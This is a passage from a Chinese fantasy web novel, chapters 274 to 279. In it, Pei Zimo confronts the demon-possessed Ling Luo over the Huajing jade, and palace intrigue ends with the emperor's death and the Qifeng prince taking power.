“你以为,‘神冥公’的血脉这么垃圾,能游走阴阳两界却还会被阴气所伤,导致命短么?并不是,在我之前,所有的‘神冥公’都可以长命百岁,可等到了我……我自小体弱多病,身上阴气环绕,因为我本就不该出生!” “我爹就是用华精玉凝聚温养我的魂魄,坏了地府的规矩,让我降生,我自小就被地府盯着,只要有一丁点机会,他们就会立刻带我走。我是我爹唯一的儿子,可我阳气弱的连冥路都开不了,他可不想眼睁睁地看着‘神冥公’一脉断在我这。” “他找了无数的办法,最后把我炼成了冥尸,地府的人再都拿我没办法,我也能顺利的继承他的衣钵,所以你看,我才是这世上第一个冥尸!我也终于不用再害怕阴气侵蚀,我可以长长久久地活在这世上,我有了自己的爱人,有了自己的孩子,我的生活美满幸福。” “如果她是年老病死,我都能接受,可偏偏她是因为我爹的那些破事才惨死!明明是他害死了她!他能用华精玉救活我,为什么就不能再用华精玉把她救活?!” 凌珞越说越激动,脸色都有些涨红。 “我成了冥尸可以活下来,可是他却没有把炼制冥尸的方法教给我!于是我就要眼睁睁地看着我的子子孙孙年纪轻轻撒手人寰!他的私欲他自己想办法满足,那我呢?他就想让我这么痛苦的活着么?那为什么又要救活我?如果他没有救活我,我说不定活得比现在不知道要好多少!” 裴子墨拧眉看着他,他说这话的时候,一开始还在看着她,但是后来,几乎都是在看着房间的方向。 他应该是不知道房间里的人是裴黎。 不过他应该能感受到房间里的人术法在他之上。 难道—— 裴子墨微微瞪大了眼睛,想起当时鬼卿跟她说过的话,他说凌珞把阳元丹拿走的时候,说了句“那个老不死的果然还活着”。 是凌幽把凌珞炼制成冥尸的。 那凌幽应该也有办法让冥尸恢复原状。 所以凌幽就是当时他们在落霞山上遇到的苍幽! 而凌珞拿到阳元丹之后,便知道她和凌幽见过面,再加上他可能认为这世上术法在他之上大,大概只有凌幽一人,所以他此刻应该认为在房间里的人,是凌幽! 他说的话,他的控诉,都是说给凌幽听的。 裴子墨转头往房间的方向看了一眼,可是在那里的,并不是凌幽。 也不知道裴黎听到这些,心里会是什么滋味。 她皱了下眉,收回目光,“所以,你要华精玉,只是想要复活她是么?根本没有什么镇压的血莲,更没有什么神志不清的血莲是么?” “是。”凌珞也收回目光,看向裴子墨,“你知道这些,就满意了?裴子墨,你一直这么听话,我本来不想为难你,等我拿到了华精玉,我可以放你走,你想做什么想去哪,我都不再过问,但现在你一定要把这些拆穿,对你有什么好处?” “如果……华精玉已经被毁掉了呢?”裴子墨又问。 “不可能。”凌珞摇了摇头,“如果华精玉被毁,他没有必要在琼华山上设阵法,华精玉一定还在那。” “你有没有想过……”裴子墨顿了顿,才继续道,“你有没有想过,他已经把华精玉毁掉了,但是他为了让你有个念想,才在琼华山设下阵法,让你以为华精玉在那,你就会想办法去拿华精玉,他觉得可能有些事情,时间久了,就会被冲淡,总有一天,你会接受现实?” 凌珞看着裴子墨眯起眼,眼底怒意翻腾,但隔了会,这些怒意又全都消失得一干二净,“子墨,如果那块华精玉没有了,那我就只能想办法再找一块华精玉。这么多年,‘神冥公’的后人几乎都没人能再打开黄泉路,但是眼前不就有一个么?” 他说着瞥了白锦夜一眼,“他已经来来回回地府这么多次,再多去几趟也无所谓,说不定他运气好,能找到华精玉山,再带回来一块呢?” “你呢?你打不开黄泉路么?”裴子墨又问,“那可是你的心上人,这块华精玉找不到,但这么多年,你如果能去地府,怎么没去试试?” 凌珞看着裴子墨没有说话。 “所以,你还在骗我。”裴子墨微微抿了抿唇,“凌珞,你要复活的,到底是谁?我师父都能让我的魂魄在裴清歌的身上重生,我不相信以你的能力不行。只有一种可能,就是你要复活的人,根本不可能在普通人的身上复活。” “她可能魂魄受损,需要华精玉来温养,但是她还需要一具养成血莲的身体,是么?所以你一直跟我说,要养成血莲,之后需要华精玉来唤醒神智。因为这是两个必要的条件,等我养成血莲,确实也需要华精玉来唤醒神智,但唤醒的不是我,而是那个人,是么?” “凌幽告诉你的么?”凌珞眯起眼睛,“他还说什么了?” 裴子墨摇了摇头,“没有人告诉我,只是……” 只是她掉进忘川的时候,白锦夜愿意跟她一起跳进去。 如果凌珞真的爱那个女子,他又能去地府,那么千年以来,他找不到凌幽带走的华精玉,最快的办法难道不就是自己去地府再找一块么? 可是他没有。 他知道这件事太危险,他不想因为这件事丢了性命,更不想为这件事付出太大的代价。 反正他是冥尸,生命无休无止,总能想办法用稳妥的方式得到凌幽的那块华精玉。 也就是说他要复活的人,根本不是他曾经爱的那个女子。 “只是我觉得,你不爱任何人,你只爱你自己。” 第274章 凌珞入魔 凌珞闻言脸色愠怒,挥掌就像裴子墨打去。 裴子墨自知不是对手,也就转过身,用肩头接了这一掌。 她被打得倒飞撞在凌珞的禁制上,但凌珞也被血莲的反击打得连退几步。 白锦夜见到凌珞动手,试图冲破禁制,只不过这禁制牢固得很,一丝丝反应都没有。 凌珞眯眼看着倒在地上的裴子墨,又抬眼看了看白锦夜,冷笑了一声,“你骗我血莲没有了,只是根本不想让我来养。” 裴子墨抿了抿唇,没有说话。 凌珞往前走了一步,见到他这个动作,白锦夜更是担心裴子墨,他过不了禁制,但从他脚下蔓延开的黄泉路,却并不受禁制的阻挡。 蔓延出来的黄泉路避开了裴子墨,径直向凌珞延伸过去。 凌珞的脚步也停了下来,他垂眼看着变化的路面,轻笑一声,抬手撤掉禁制,“你以为只有你会么?”他的话音落下,同样的黄泉路也从他的脚下出现。 两条路撞在一起,碰撞的地方出现丝丝裂痕。 片刻后,凌珞脚下的黄泉路突然消失,他眯眼看了房间一眼,这才对着白锦夜道,“一个月内,带着琼华山的华精玉来找我,要么……就自己去地府再找一块,不然,我就每天屠一城,直到你们送来华精玉为止。” 说完,几个闪身,人就消失在院子里。 白锦夜也赶紧撤了黄泉路,抬手扶起裴子墨,“没事吧?” “没事。”裴子墨摇了摇头,她知道她说这些话会激怒凌珞,但是她赌裴黎不会看着凌珞伤害她和白锦夜,再说,最不济还有血莲能帮她挡一击,而且最重要的,事情已经到了现在,凌珞可不想功亏一篑,所以对她出手,主要目的是教训,根本不会下重手。 虽然听裴子墨这么回答,但是白锦夜还是认真的查看了一番,确定是真的没事,才看向刚才凌珞站的地方,若有所思地道,“他的黄泉路,跟我的不太一样。” “嗯?”裴子墨抬眼看他。 “看起来一样,但是它们碰触到一起的时候,我能感觉得到好像哪里有差别。”白锦夜皱着眉。 凌珞好歹也还有从凌幽那的传承,可是传到白锦夜这,就剩下那一本他至今都没有摸索透的书,很多事情可以说本身就是一知半解,这会自然也想不明白。 他微微摇了摇头,没再纠结于此,跟着裴子墨一起回了房间,只是还不等他们开口说话,裴黎就已经回了锁魂玉笛,显然是不打算就这件事跟他们有什么交谈。 他们也知道,裴黎既然没做好见凌珞的准备,那也就是需要时间来消化、接受这件事。 “你有事就先去忙吧。”裴子墨转头看向白锦夜,白风御进京,这天风国大概就要开始动荡了。 白锦夜点点头,走了两步又想起什么,转头看向裴子墨,“你把裴玲珑放回去了?” 之前在地府的时候,裴玲珑做出那样的事,那会还要查看三生石,他没工夫跟裴玲珑算账,可现在,他有的是时间。 裴子墨失笑,“怎么会?陆绝大概还在想办法把她重新封印回那个阵法里,当然不可能给他们这个机会。我只是随便抓了个游魂塞到了裴玲珑的身体。只不过游魂和身体不契合,也过不了几日,游魂离开,那躯体也就死了。” “而且陆绝估计一时半刻可能也不会发现其他的阵法被破,但是裴玲珑的魂魄失踪,这足以引起他的注意,陆绝一定跟这背后的人有关联,说不定我们要靠他来引出背后的人了。” 白锦夜点点头,裴子墨说这话也是提醒他,陆绝这边暂时还不能打草惊蛇。 等他离开之后,裴子墨才拿出锁魂玉笛放在一边,“我知道你能听到我说话,我可以确定一件事,凌幽没有死,但是他现在在哪我就不知道了。我去年的时候见过他,他当时在一座山上等清幽果成熟。” “只不过我当时还不知道他就是凌幽,他给了我几颗丹药,一颗叫阳元丹,我送了人,现在落在了凌珞的手上,还有一颗是隐莲丹,我自己吃了,这几粒是剩下的。” 她说着也拿出一个锦囊,放在了一边,“当时他就说人生在世,难逃情之一字,想必这些年,他也还记挂着你。” 裴子墨的话音落下半响,也不见裴黎有什么反应,她只能轻轻地叹了一口气,闭上了眼睛。 过了差不多有半个时辰,裴黎才现了身。 但是她没说话,裴子墨也就没有动。 裴黎拿起锦囊,把里面的几粒药倒在手心上,感受了下丹药的气息,把丹药重新放回锦囊,才开口问道,“你说,他在等清幽果成熟?” “嗯。”裴子墨这才睁开眼睛,“我见到他的时候,他已经等到了,拿了清幽果就离开了。” 裴黎微微皱了下眉,“你知道清幽果是干什么的么?” “听说是给兽类用的,兽类吃了清幽果,可以开灵窍,就可以像人一样了。但是清幽果已经绝迹很多年,这些也是我从书上看的。”裴子墨回答道。 裴黎点点头,“确实,在我那个时候,一开始还偶尔能见到这东西,也有不少兽类吃了之后开了神智,甚至有些都能像人一样修习术法。后来清幽果越来越少,就很难再见到了。” 裴子墨没有说话,可她知道,裴黎避开凌幽不谈,只说清幽果,大概有些话,是不敢提起。 两个人又沉默了片刻,裴黎才道,“这些丹药你留好了,危急时刻是能救命的。他以前就喜欢琢磨这些东西,没想到现在还是。” 裴子墨点了点头,“只要他还活着,就总能找到他,等眼下的事情都解决,我们帮你一起找他。” “天下这么大,想找一个人,很难呢。”裴黎的声音有些缥缈,当年是她躲着凌幽,如今换了过来,换她要去找凌幽了,这世事真是难料。 裴子墨还想说什么安慰,裴黎却转移了话题,“不过他也许很快就会自己现身了。”说着她看向裴子墨,“以后你见到凌珞,躲远点,也别像今天这样激怒他,他……入魔了。” 第275章 入魔容易成仙难 裴子墨微怔了一下,看着裴黎,“怪不得刚才白锦夜说他们俩的黄泉路不太一样。” 裴黎点了点头,她自然能感受到凌珞是没打算下杀手的,所以她一开始不也想插手。 可是凌珞的黄泉路出来的那一刻,她就发现了凌珞入魔的事。 这若是在千年以前,她发现有人入魔,自然是要当场诛杀,可是…… “入魔容易成仙难。”裴黎叹了一口气,“当年无数的人追求修仙,自然有人想要走捷径。可成仙一途哪有捷径?稍有不慎,就是万劫不复。但也有那么一小波人,他们觉得成仙太难,入魔虽然比不上成仙,可若是注定不能成仙,那入魔也不失为一种选择。” “入魔的人,心智会渐渐被影响,尽做些伤天害理的事。那时候大家达成了共识,一旦有人入魔,便会被众人追杀。” “即便如此,还是有些人在偷偷修炼此道,因为他们不愿意放弃入魔给他们带来的好处。凌珞……他本就魂魄不全,难以成仙,在冥尸的状态下,入魔也许只是一念之间。” 说到这,裴黎沉默了下,“凌幽虽然离开北冥国,但是未必没有关注凌珞的情况,他没有做特别过分的事,凌幽也许不管,而且那时候的凌珞可能也没有入魔,但是眼下,若是凌珞做什么错事,他肯定就会动手了。” 裴子墨微微抿了抿唇,“可是当年他为了复活凌珞,做了那么多,他怎么会……” “他会的。”裴黎垂眼看着锁魂玉笛,“他如果没有变,他就会。”说完,她便重新回了锁魂玉笛。 * 白风御突然进京一事,让白玉衡措手不及。 一直以来,他接到的消息,都是战事胶着,白风御重伤,已经多日未曾露面,甚至大家都在猜测白风御其实已经不治身亡,只不过怕这样的消息传出来影响士气,才一直秘不发丧。 至于之前锦成冒充白锦夜出现在西河城的事,这个消息根本就没有传到白玉衡的耳朵里。 这件事,是萧公瑾最先知道的,当时他是有私心的,也不想更多的人知道这件事,于是就把这个消息拦了下来。 所以白玉衡其实早就失去了西河城消息的真实性,他一直以为事情在他的掌控之中,他只要安安心心的等着白砺寒死了,他就可以大权在握了,哪知道现在会发生这样的事? 他从白锦夜那离开之后,也没急着进宫,先是着人去了城门口,打算一见到白风御就拦下他,然后就紧急调兵,既然已经来不及等白砺寒死,那就只能提前送他上路了。 白砺寒刚喝下云月宁喂他的药,就听袁公公来报,说白玉衡带兵进了皇宫,已经将此处包围了。 本来若是白砺寒病了,那在他身边照顾的,肯定是和月如,可如今和月如有孕,白砺寒怕过了病气给她,再者,白砺寒一直没有子嗣,对这件事紧张的不行,就怕出了什么意外,如今和月如极少出门,就一门心思养胎,所以照顾白砺寒的事,才会落到云月宁的身上。 听到这话,云月宁脸色一变,知道白玉衡这是要动手了,她微微抿了抿唇,也没想到会这么快,她虽然给云启元去了信,可他赶来也需要时间。 “他这是要做什么?”白砺寒撑着身体坐起来,脸色难看。 没有人能回答他这个问题,好在白玉衡很快就进了门,他像是急得连下跪都没时间,“皇兄,咱们得早做打算了,白锦夜此番回京定是有所图谋,臣弟刚接到消息,说岐风王正帅军前来,打算援助白锦夜。” “白风御?”白砺寒咬了咬牙,“他果然已经和白锦夜沆瀣一气!他到哪了?” 白玉衡只是让人去拦,也不知道能不能拦得住,便道,“已经到城外了,臣弟已经派了人去拦,但是……所以臣弟没有提前禀报就带兵进宫,是来保护皇上的。” 白砺寒胸口气血翻涌,一大口血吐出来,他的脸色也瞬间惨白。 云月宁拿出手帕,假意关心地上前给他擦了擦嘴角,又低声安抚了几句。 白玉衡看了一眼那颜色已经有些发乌的血,沉默了会,才道,“皇兄,臣弟知道此时不该说这话,但是臣弟不得不说,为江山社稷着想,皇兄现在该下诏书了。” “什么诏书?”白砺寒抬眼看向他。 “皇兄,他们想要做什么,意图已经很明显了。若是……若是皇兄真的出事,现在皇兄没有子嗣,以白锦夜的战功,就算他登基了,这百姓也不会有什么不满。但是若是皇兄提前有诏书,他怎么样都不算是名正言顺。”白玉衡开口道,“皇兄,你说对不对?” “朕怎么就没有子嗣了?”白砺寒冷哼一声,“和贵妃早已有了身孕。” “孩子尚未出生,是男是女尚且不知。”白玉衡顿了顿,又补充,“而且,若是他们直接杀了和贵妃,那皇兄就真的没有子嗣了。” 白砺寒眯眼看着白玉衡半响,才冷笑道,“你这意思,朕就要传位给你了?” “臣弟惶恐。”白玉衡屈膝跪在地上,“皇上若是有子嗣,臣弟定当尽心扶持。” 白砺寒虽然病着,可也没傻,眼下他只有两个选择,传位给和月如肚子里的孩子,然后让白玉衡做摄政王,要么就直接传位给白玉衡。 但不管是前者还是后者,将来白玉衡若是做腻了摄政王还是为免除后患,都有可能杀了那个孩子。 他的手死死地握着拳,他真是眼瞎,一直没有看透白玉衡的狼子野心! 隔了很久,他嗓子有些喑哑,慢慢地道,“朕只要和贵妃肚子里的孩子活着。” “皇兄放心,臣弟竭尽所能……” “你当然会竭尽所能。”白锦夜迈进门,打断了白玉衡的话,语气平淡,“毕竟和月如肚子里的孩子是你的。” “你!”白玉衡转头看过去,目眦尽裂,“你胡说什么?是自己的好事被搅合,就如此污蔑我么?” “难道不是么?”白锦夜慢悠悠地走进来,在旁边的椅子上坐下,“要不要叫和月如过来,好好审审?之前我的人见到和月如偷偷出宫几次,都是跟你在某处别院里相会,要不要带着皇上去那处别院看看,说不定还有和月如不小心留下的物件。” 第276章 他要去给他家王妃守墓 “你血口喷人!”白玉衡激动的从地上站起来,又想起什么,转身看向白砺寒,“皇兄,你千万不要听他信口开河,和贵妃肚子里的,可是你唯一的子嗣,他就是想引起你的猜忌,若是你信了,就上了他的当了。” 白砺寒的脸色越来越难看,他最近的身体一日不如一日,对身边的人就更加警惕。 此刻他觉得,眼前的人,没有一个是可信的。 不过这会,他倒是冷静下来了。 白锦夜和白风御有兵权,以前白玉衡不参与朝事,但是最近变得积极了起来,说不定已经拉拢了不少人,如今能带兵进宫,就证明有一部分兵权已经落在了白玉衡的手上,再加上白玉衡还有太后的支持,假设他真的死了,那谁赢谁输还不一定。 反正这些人都觊觎他的皇位,没有一个好人,就算是他死了,也要让他们先互相残杀一阵子,谁也别想轻易得到什么好处。 他咳了几声,抬眼看向袁公公,“去请太后过来,就说朕要下诏书。” 云月宁微微抿了下唇,太后来,自然大概率是要给白玉衡撑腰的。 她从给白砺寒下毒的那天起,就已经跟白玉衡绑在一起了。 若是白玉衡失败,一定会咬住她。 她现在也基本相信白锦夜的话是真的,早前太医就诊断过,和月如不能生育,说不定不是和月如不能生育,而是白砺寒不能生育。 如今和月如突然怀孕,再联系白玉衡的野心,孩子是谁的,已经八九不离十了。 见白砺寒要下诏书,又要请太后来,便也没有人再说话,只是安安静静地等着。 太后来的快,路上袁公公也大概说了情况,她进了门,自然是先到床边询问白砺寒的情况,随后又看向白玉衡,说些什么他自小就和白砺寒关系好,一定要兄友弟恭一类的话。 白锦夜也懒得再听这些冠冕堂皇的话,也不等太后说到他身上,便直接开口道,“我对你的皇位不感兴趣,我也有自己的事情要做,这次回京本来是有些事情要解决,解决完我就会离开。” “若是京城出事的时候,你们都留下,我也不会对外表明自己的身份,可如今看来,是你们管不好这江山,也不能为百姓谋福祉。” “几个月以来,岐风王在西河城对抗西夜国大军,几次向京中求援,都被人拦下书信,岐风王身受重伤,也不曾后退半步……” “你在皇上和太后面前如此胡说,到底是有何居心?”白玉衡突然出声打断白锦夜的话,“我朝上下安稳,哪有什么战事?” “有没有什么战事,稍后岐风王进宫,你们自然就知道了。西夜国已经签了降书,割让六城,至于其他的钱款物资,我让岐风王留下用做战后重建、抚恤伤亡士兵以及安顿百姓之用,就不会送到京城了。”白锦夜瞥了白玉衡一眼继续道。 “皇兄下诏书也好,不下诏书也好,你想立谁都好,但我已经帮天风国选了,我觉得岐风王不错,起码比你们两个都强。”说完白锦夜站起身,“没有别的事,我就先出宫了。” “混账!”太后气得满脸通红,看着白锦夜怒道,“哀家还没有死,你还把皇帝和太后放在眼里么?这帝位由谁来坐,轮得到你指手画脚?当年是先帝不肯立你,你如今要把这怨气撒到我们母子身上?” “若是天下太平,我可懒得对你们指手画脚。”白锦夜拧起眉头,“如今四处乌烟瘴气,后宫嫔妃暗通款曲,皇上被人下毒将死、偏听偏信、连边关打了几个月仗都丝毫不知,你们哪里对得起先帝对你们的维护?” “下毒?”白砺寒终于抓到白锦夜话里的重点,说完他猛地转头看向云月宁,“是你,你这个毒妇!怪不得你最近一副贤良模样在朕身侧细心照看,以前只要开口,就半句不离和贵妃,如今和贵妃有孕也不听你再说她半分坏话,你……你……”他一急,又是一大口血呕出来。 云月宁后退了几步,紧紧地抓着衣袖,盯着白砺寒。 还不等她说话,白玉衡就先开了口,“早就听闻皇后在闺中之时,曾对肃亲王示好,被肃亲王拒绝后,才入了宫。难不成传言是错的,这些年皇后都在帮着肃亲王做事?” 云月宁气息一滞,开口想要反驳,可却对上白玉衡威胁的目光,她嘴唇动了动,又转头看了看白锦夜,咬了咬牙,终于还是开了口,“本宫与肃亲王清清白白……下毒一事,不是衡王你来逼迫本宫的么?你说皇上早晚要死,本宫帮你就给本宫和云家留条活路。” “都到了此刻,你还在帮着肃亲王么?”白玉衡冷笑,“皇后既然知道自己身后还有云家,那就想好了再开口。” “……” 白锦夜不愿留在这里看他们狗咬狗,掸了掸袖袍,直接向外面走去。 晚上的时候,就从宫里传来消息,说白砺寒驾崩,死前留下诏书,说是若和贵妃肚子里的是男婴,则传位于这皇上唯一的儿子,由衡王摄政,若生下的是女婴,则封为镇国长公主,由衡王继位。 但是这诏书还没热乎,第二天一大早,岐风王就在朝堂之上,拿出了衡王勾结西夜国的证据,人证物证俱在,衡王无处辩驳,当场入狱。 在众大臣的恳求之下,岐风王不得不担起重任。 他处理好宫中朝中的事后,便来了白锦夜的府上。 白锦夜正和他说着话,裴子墨也从外面回来。 这几日她和裴黎把剩下的两处阵法解决好,京中的事总算是告一段落。 以后朝中的事有白风御,他也不用再担心什么。 白风御转头看着走进门的裴子墨,犹豫了下,才开口问道,“最近不曾听说王妃的消息,她可是与张太妃一起在复州?” 他这话问得委婉,还记得他上一次来京城的时候,白锦夜和王妃的关系显然不是很好。 他这次来,也听说白锦夜身边有一个女子,但是这女子显然并不是他见过的裴清歌。 他和裴清歌之间总算是有交情在,这事于情于理,他也得过问一下。 白锦夜没有直接回答这个问题,只是招呼了裴子墨进来。 左辞也是一脸的不开心,他回来之后,就去普宁街找过裴清歌,后来才听萧尺寒说那位裴先生不在了,他已经私下偷偷哭过几回了。 他真是一点都不愿意相信,他家王爷竟然这么薄情寡义,转身就打算跟其他的女子在一起。 眼下是多事之秋,他不能这个时候不懂事,但是等这些事过去,他一定得跟他家王爷好好说道说道,他家王爷要是还这么执迷不悟,他就去给他家王妃守墓,再也不要回来了。 第277章 女婴 裴子墨进了门,在白风御的对面坐下,先是给自己倒了一杯茶,她跑了一天,这两天阵法虽然都解决完,不过她知道他们不会再在这里留太久,很快就会离开,于是就和裴黎一起,把整个京城都跑了一遍。 确认都没有什么阵法之后,又去了趟云府。 她提前就让白锦夜找了萧尺寒帮忙,把云止和云澜都找借口带了出去。 她也就在云府布了阵法,以便她不在的时候,能护住云府上下的安全。 忙了一天连口水都没喝,这才刚刚回来。 放下茶杯,她看向白风御,“恭喜,在边关守了这些年,也算是苦尽甘来。” 白风御对她这份自来熟还是有些抗拒的,他微微拧了拧眉,还没等说话,裴子墨就又开了口。 “之前还说一起跟你做生意,不过那时候多少是在诳你,以后这生意大概也没办法继续做了。那时候赚的钱,我也都让钟栖转交你了,以他对你的忠心,这点钱应该不至于藏私吧?” 白风御眼睛瞪了半天,才转头向白锦夜求证。 白锦夜微微点了点头。 “啊?”左辞的下巴都快掉地上了,裴清歌的模样,无论是毁容的时候,还是后面涂药之后恢复的他都见过,但也绝不是眼前的模样啊?难道还是易容?可就连身高身形都不太一样了啊,他摸了摸脑袋,有些不可置信地问道,“你……真的是我家王妃?” “怎么,你那份钱少给你了?”裴子墨抬眼看他。 左辞摸了摸鼻子,心里忍不住对白锦夜翻了个白眼,那他家王爷怎么不早点说? “钱确实已经转交,而且……”白风御从腰间的荷包里取出一个桃木的螭吻,“还有这个,我也一直随身携带。” “如今你印堂的伤疤已经消失,气运也已回正,还是不是随身携带,用处已经不大了。”裴子墨看着他手上的螭吻,当初肃亲王府出事,她关店准备去月城的时候,就打发了钟栖回去找白风御。 她当时虽然交代白风御回去之后找人刻一个螭吻,但后来闲着无事,就亲手刻了一个,里面也压了几道阵法,肯定要比其他人刻得更管用些。 白风御本就有帝王命,只不过印堂破相后毁了气运,她只是帮他把一切恢复到原有的轨道上。 白风御闻言也还是郑重地收起桃木螭吻,有些事情不必说得太清楚,他也明白此刻她说的“气运回正”是什么意思,于是起身对着裴子墨施了一礼。 裴子墨也没有躲,只是笑着看他,“这一礼我受得起。”等白风御重新坐下后,她才开口,“不过我也有件事要请你帮忙。” “你说。”白风御点点头。 “和月如肚子里的,是个女婴。这女婴的前世跟我有些渊源,我欠她个人情,但是和月如此人心术不正,这女婴若是由她抚养长大,自然不是好事,所以这件事就还要拜托你了。”裴子墨继续道。 白锦夜看着她,也猜出了这女婴的身份。 “你放心,皇上去世前便有遗诏立她为镇国长公主,我定也会视如己出,和我夫人好好照顾她。”白风御点头答应下来。 裴子墨没有再说话,而是看向白锦夜,“我先回去歇着了。” 白锦夜也站起身,把她送到门口,转身回来就见到左辞眼巴巴地看着他,他挥了挥手,左辞就撒丫子朝裴子墨追了过去。 白风御这才开口问道,“接下来,你打算去哪里?” “看她吧。”白锦夜朝门外看了一眼,“如今我再没什么放心不下了。”他说着轻轻叹了一口气,“我外公和张太妃以及云家,以后便靠你多照看了。” “应该的。”白风御点点头。 白锦夜沉默了会,又道,“那女婴的父亲到底是谁,你也清楚,但那女婴前世于我和王妃都有莫大的恩情,把她交托给你来照顾,我自然放心,只不过这宫里到底是个什么地方,你我都是在这里长大的,再清楚不过了,一定要谨防有心人以她的身份做文章。” “我明白。”白风御说着叹了口气,这话题多少有些沉重,沉默了会,他才转口,“一直说要跟你喝顿酒,也没机会,等你离开之前,咱们好好喝一顿,不醉不归。” “行。”白锦夜点点头。 * 左辞跟着裴子墨跑进后院,嘴里不停的抱怨,“王妃,你这也太不够意思了,我之前都以为你死了,哭得我眼睛都肿了,结果你好端端的站在这,这么多天了,也没有知会我一声,哪怕给我个暗示都好啊。” “我没暗示你么?”裴子墨转头看他。 左辞认真的想了好一会,摇了摇头,“没有。” “那在你心里,这世上除了我,还有谁会算卦布阵一类的事呢?”裴子墨又问。 左辞哑言,半天之后,还是强行给自己找台阶,“冷鸢也会啊。” 裴子墨没再理这茬,“冷鸢没跟你们一起来盛京么?” “没有。”左辞叹了口气,“前段时间,有一次,好像鬼卿跟她说了什么事,之后鬼卿就走了,冷鸢整个人都有点魂不守舍,总是一个人呆在房间里,我们这次说回盛京,她也没来。但是我们出发的那天,她也离开了,说是去找鬼卿了。” 裴子墨垂下眼,没再说话。 “你要是担心他们,等京中的事结束,咱们就去找他们呗。”左辞又道,“到时候你算一卦,看看他们在哪,咱们就直接过去。” “我不担心他们。”裴子墨笑了笑,“鬼卿能照顾好自己,也能照顾好冷鸢。”说着话,她也迈进了房间,转头看向左辞,“我忙了一天了,累得不行,你有什么话,改天再来找我絮叨吧。” 左辞停下了脚步,“行,王妃那你好好休息,我在门外给你守门。”说完他顿了顿又补充,“我本来都想好了,忙完这些,就跟王爷申请去给你守墓的,不过守门总比守墓好,我就在这守着,你好好休息。” 裴子墨嘴角抽了抽,“左辞,你现在说话还真是和以前一样……耿直。”说完她“啪”的一声关上了门。 第278章 算卦之人都是说半句留半句的 裴子墨躺下就睡了过去。 这一觉睡得还挺沉,醒来的时候,已经是午夜了。 房间里亮着灯,白锦夜坐在桌边看着她,见她醒了才开口问,“饿不饿?饭菜一直热着。” 裴子墨点点头,她确实是饿醒的。 洗漱之后,下人便送上了饭菜。 白锦夜不吃,但也坐在旁边陪她吃完。 等下人收拾好后,他才给她倒了一杯茶。 裴子墨看着他,“怎么?有话要跟我说?” 白锦夜笑了笑,“突然感觉,很多事好像都在你的算计之中。” “嗯?”裴子墨挑了挑眉,“什么意思?” “京中这么多达官显贵,皇子皇孙,你谁都不理,白风御一进京你就找上他了。好像那个时候,你就知道会有今天,白砺寒会死,白玉衡根本做不成皇上,你从那时,就知道天风国未来的皇上,会是白风御。”白锦夜看着她,“很多恩情,起于微时,你那时对他示好,会让他感激一辈子。” “以致于后来无论鬼卿也好,冷鸢也好,你都可以放心的让他们去西河城,现在,也能把裴清歌的转世托付给他。” 裴子墨喝了口茶,“也有可能只是巧合。” 白锦夜没说信,也没说不信,“可我们在琼华山的时候,你给裴清歌安排去处的时候,起码就已经知道了眼前的结局。” “咱们第一次从琼华山回盛京之后,和月如来找我算过卦。”裴子墨开口道,“那时我就知道和月如会有一个孩子,那孩子若是男婴,便会早夭,若是女婴,便是大福大贵之相。” 她说着微微皱了一下眉头,“但我只说了前半句,没说后半句。可无论男婴是不是会早夭,和月如都会赌一把。” “之后既然要安排裴清歌的去处,这自然是最好的选择。” “所以,你算卦的时候,都会说半句留半句么?”白锦夜又问。 “是啊。”裴子墨点点头,“算卦之人,都会说半句留半句,全说了,太过泄露天机。况且……有的时候,说哪半句留哪半句,都是看求卦之人的。有些人喜欢听好的,那就把好的那半句告诉他,有些人可能需要坏一点的消息警醒一下,那就说不好的那半句。” 白锦夜看着她,沉默了会,才道,“京中的阵法都解决完了,接下来呢?” “我和裴黎商量过,打算再去一趟琼华山,想去那个深渊下面看一看,华精玉应该就在那个深渊下面。”裴子墨说着顿了下,“裴黎担心凌珞会做出什么疯狂的事情,那琼华山上虽然有限制他的阵法,但不代表他永远都没有办法去那。” “再加上,若是那个深渊已经被华精玉同化成地府的环境,那也不知道那还会不会再扩大,若是再扩大,就可能会伤到人。” 除此之外,裴子墨也知道,那处阵法应该跟凌幽有所关联,如果阵法有波动,凌幽一定能感觉到,到时说不定他和裴黎就能再碰面了。 白锦夜点点头。 “等你把京中的事安排好就出发。”裴子墨看着他继续道,“虽然有裴黎在,应该不会有什么危险,但是……”说着她抬手覆在白锦夜的手背上,“但是这一次去就不知道要多久,也不知道会发生什么事,京中的事,你这次还是彻底安排好。” “我知道。”白锦夜反手握住她的手,“用不了多久。” 白锦夜从裴子墨房间里出来的时候,左辞还守在门外。 他看了看关上的房门,默默地跟上了白锦夜,“王爷,你和王妃……怎么还分房睡啊?” 白锦夜拧起眉头,转头看着他,“这是你应该操心的?” “不是么?不只是属下,这可是所有王府的人都应该操心的。”左辞认真地看着他,“王爷,你忘了你在复州的时候说过的话了么?都这么久了,一点进展都没有,这要是打仗,有这么长时间,西夜国都打下来了。” “你这么厉害,怎么还是一个人?”白锦夜继续往前走。 左辞忍不住叹了口气,沉默了会,“王爷,属下觉得你还是得把属下留在身边,没有属下的助攻,你这战线不知道还要拉多长。” “你现在很闲?”白锦夜瞪了他一眼。 “不闲,不闲。”左辞停下脚步连连摆手,“我以后都要给王妃守门呢,王爷,属下就不送你了哈。”说完转身一溜烟地跑回去了。 白锦夜没再理他,回到前院的时候,司空也刚好回来。 “王爷,衡王……在狱中死了。” “死了?”白锦夜捋了捋袖口,“他应该没什么自杀的勇气吧?” “暴毙。”司空说着顿了下,“确实是暴毙,说是双目瞪大,脸色乌青,七孔流血。狱卒说吃晚饭的时候还好好的,他们半个时辰巡查一次,最后一次巡查的时候,他也没事,但半个时辰之后,人就死了,仵作说,看样子是吓死的。” 白锦夜微微眯了眯眼,白玉衡私通西夜国,按罪也是死罪,白风御也不傻,有名正言顺处死他的理由,当然不可能提前暗地里下手杀他,“衡王府那边呢?” “衡王府的人如今也都入狱,只不过……”司空抬眼看了他一眼,才继续道,“没发现陆神医的身影。” “看样子,白玉衡应该是知道不少事,才被杀人灭口了。”白锦夜转身往房间走,“再查查看能不能查到陆绝的去向。” “是。”司空应了一声退下了。 白锦夜回到房间躺在床上,白玉衡被人杀了,这是横死,算是撞到他手上了。 既然他知道很多事,活着的时候没说出口,那死了说也是一样的。 白锦夜在一片混沌之中,抓到了白玉衡的魂魄。 白玉衡一副状若疯癫模样,见到一个认识的人,就立刻抓住他的胳膊,“本王死了,本王死了!救救本王,救救本王啊。”说完他看着白锦夜又想起什么,“哈哈”大笑起来,“你也死了是不是?白锦夜啊白锦夜,你也有今天!本王死了,但是有你作陪,也不亏了!” 第279章 他大概是没有下辈子了 白锦夜等白玉衡笑够了,才开口问道,“你知不知道,是谁杀了你?” 